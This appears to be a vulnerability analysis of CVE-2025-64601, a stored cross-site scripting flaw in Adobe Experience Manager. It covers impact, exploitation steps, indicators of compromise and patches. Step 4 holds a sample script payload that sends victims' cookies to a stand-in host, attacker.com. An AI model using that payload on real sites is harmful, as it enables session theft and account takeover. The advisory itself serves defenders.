CVE-2025-64601: 
Adobe Experience Manager vulnerability analysis and mitigation

CVE-2025-64601 is a stored Cross-Site Scripting (XSS) vulnerability in Adobe Experience Manager (AEM) that allows a low-privileged attacker to inject malicious scripts into vulnerable form fields. Affected versions include AEM 6.5.23 and earlier (on-premises) and AEM Cloud Service versions prior to 2025.12.0. The vulnerability was published on December 9, 2025, as part of Adobe's security advisory APSB25-115. It carries a CVSS v3.1 base score of 5.4 (Medium) (Adobe Advisory, Feedly).

The root cause is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting), specifically a stored XSS variant. An authenticated attacker with low privileges can inject malicious JavaScript into vulnerable form fields within AEM; the payload is persisted server-side and executes in the browser of any user who subsequently visits the affected page. Exploitation requires user interaction (a victim browsing to the page containing the injected content) but no elevated privileges beyond a standard low-privileged account. The attack vector is network-accessible with low complexity (Adobe Advisory, Feedly).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of a victim's browser session within AEM, potentially leading to session hijacking, credential theft, unauthorized actions performed on behalf of the victim, and exfiltration of sensitive data accessible to the victim's account. The changed scope (S:C) in the CVSS vector indicates the impact can extend beyond the vulnerable component itself. While confidentiality and integrity impacts are rated low individually, the stored nature of the XSS means any user visiting the compromised page — including administrators — is at risk, amplifying the potential for privilege escalation through social engineering or session theft (Adobe Advisory, Feedly).

1. Reconnaissance: Identify an Adobe Experience Manager instance running version 6.5.23 or earlier, or AEM Cloud Service prior to 2025.12.0, accessible over the network.
2. Obtain low-privileged access: Authenticate to the AEM instance using any valid low-privileged user account (e.g., a content author account).
3. Identify vulnerable form fields: Navigate to AEM pages or components that contain form fields susceptible to stored XSS — such as content authoring interfaces, comment fields, or metadata fields.
4. Inject malicious payload: Submit a crafted JavaScript payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) into the vulnerable form field and save/publish the content.
5. Wait for victim interaction: When a victim (including administrators) browses to the page containing the injected content, the malicious script executes in their browser context.
6. Harvest results: Collect stolen session cookies, credentials, or other sensitive data from the attacker-controlled server, potentially enabling account takeover or further lateral movement within the AEM environment (Adobe Advisory).

• Logs: AEM access logs showing POST requests to content authoring endpoints (e.g., /content/, /editor.html/) from low-privileged accounts containing script tags or encoded JavaScript payloads in request bodies.
• File System / Content Repository: Unexpected <script> tags or JavaScript URIs stored within AEM JCR (Java Content Repository) nodes, particularly in text or metadata properties of content pages.
• Network: Outbound HTTP/HTTPS requests from victim browsers to unknown external domains shortly after visiting AEM-hosted pages; unusual DNS lookups originating from AEM user sessions.
• Logs: AEM error logs or browser console errors referencing unexpected script execution or Content Security Policy (CSP) violations on AEM pages.

Adobe has released patches addressing CVE-2025-64601 in AEM 6.5.24.0 (for on-premises deployments) and AEM Cloud Service 2025.12.0. Organizations should upgrade to these versions immediately. As a general workaround prior to patching, restricting content authoring access to trusted users only and implementing a strict Content Security Policy (CSP) can reduce the risk of XSS exploitation. Review and audit existing AEM content for unexpected script injections as part of incident response (Adobe Advisory).

The Center for Internet Security (CIS) issued an advisory noting multiple vulnerabilities in Adobe products could allow for arbitrary code execution, referencing the broader APSB25-115 advisory that includes CVE-2025-64601 (CIS Advisory). No notable individual researcher commentary or significant social media discussion specific to CVE-2025-64601 has been identified beyond standard vulnerability tracking coverage.